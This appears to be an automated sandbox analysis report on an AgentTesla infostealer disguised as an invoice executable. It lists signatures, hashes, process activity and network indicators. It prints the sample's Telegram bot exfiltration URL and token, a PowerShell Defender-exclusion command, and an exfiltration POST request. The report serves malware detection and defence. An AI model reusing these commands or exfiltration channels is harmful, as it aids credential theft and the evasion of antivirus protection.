Windows Analysis Report
COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Overview

General Information

Sample name:	COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Analysis ID:	1446730
MD5:	7831435dbf79df5631126a63a722cf35
SHA1:	2380acbc54642882a4a3ebaa0a892eda4ea50b96
SHA256:	b4c52779d09ea4edabef9ef75c2756cdd9a1fc0c10564ea7cd153ca223d0a9d8
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Telegram RAT

Yara detected UAC Bypass using CMSTP

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Disables UAC (registry)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Avira: detected

Found malware configuration

Source: 4.2.AddInProcess32.exe.400000.0.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot6521856051:AAE_VqJACYh8GJnmBCYkrp8n7Ax0fW5fJ5s/sendMessage?chat_id=6392451645"}
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe.3648.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6521856051:AAE_VqJACYh8GJnmBCYkrp8n7Ax0fW5fJ5s/sendMessage"}

Multi AV Scanner detection for submitted file

Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: COMMERCIAL INVOICE - BL - AWB 7032805642.exe PID: 3648, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49711 version: TLS 1.2

Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: Microsoft.CSharp.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Dynamic.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdbH source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: Microsoft.CSharp.pdb0X source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERF4A7.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb source: WERF4A7.tmp.dmp.8.dr

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.10:49711 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: POST /bot6521856051:AAE_VqJACYh8GJnmBCYkrp8n7Ax0fW5fJ5s/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc7b33b51b57f3Host: api.telegram.orgContent-Length: 912Expect: 100-continueConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: api.telegram.org

Source: unknown

Source: AddInProcess32.exe, 00000004.00000002.2464175604.0000000002C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: AddInProcess32.exe, 00000004.00000002.2464175604.0000000002C46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.2460982055.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: AddInProcess32.exe, 00000004.00000002.2464175604.0000000002C46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.2464175604.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.2460982055.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6521856051:AAE_VqJACYh8GJnmBCYkrp8n7Ax0fW5fJ5s/
Source: AddInProcess32.exe, 00000004.00000002.2464175604.0000000002C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6521856051:AAE_VqJACYh8GJnmBCYkrp8n7Ax0fW5fJ5s/sendDocument
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe	String found in binary or memory: https://www.google.ru/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49711 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, R1W.cs

.Net Code: bZROq

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198757898c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.1987578f8c4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Detected potential crypto function

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C18631A8	0_2_00007FF7C18631A8
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C1830A04	0_2_00007FF7C1830A04
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C18313D9	0_2_00007FF7C18313D9
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C1833338	0_2_00007FF7C1833338
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C18316B5	0_2_00007FF7C18316B5
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C185B0D0	0_2_00007FF7C185B0D0
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C1853100	0_2_00007FF7C1853100
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C1832608	0_2_00007FF7C1832608
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C194060B	0_2_00007FF7C194060B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02B34A50	4_2_02B34A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02B33E38	4_2_02B33E38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02B3CFA8	4_2_02B3CFA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02B39D02	4_2_02B39D02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02B34180	4_2_02B34180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_065B3500	4_2_065B3500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02B3D350	4_2_02B3D350

One or more processes crash

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3648 -s 1124

PE file does not import any functions

Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Static PE information: No import functions for PE file found

Sample file is different than original file name gathered from version info

Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000000.1210321020.0000019863842000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNativeMethods.dll" vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330580977.0000019863B90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNativeMethods.dll" vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename64c577c6-448e-42d3-b613-c285a2ac0196.exe4 vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNativeMethods.dll" vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEpecelovecacoD vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEdopejiqajahafecobL vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330707407.0000019865656000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000000.1210335931.000001986384A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEpecelovecacoD vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Binary or memory string: OriginalFilenameNativeMethods.dll" vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Binary or memory string: OriginalFilenameEpecelovecacoD vs COMMERCIAL INVOICE - BL - AWB 7032805642.exe

Yara signature match

Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198757898c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.1987578f8c4.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, KLhJmaON.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, KLhJmaON.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, 7hO8luD.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, 9HIFdl.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, 9HIFdl.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, PublicationOnlyViaConstructorsetUnixFileMode.cs	Suspicious URL: 'https://www.google.ru/'
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198757898c0.3.raw.unpack, PublicationOnlyViaConstructorsetUnixFileMode.cs	Suspicious URL: 'https://www.google.ru/'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@9/10@1/1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7188:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3648

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yefk2xkd.aml.ps1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: unknown	Process created: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe "C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe"
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3648 -s 1124
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
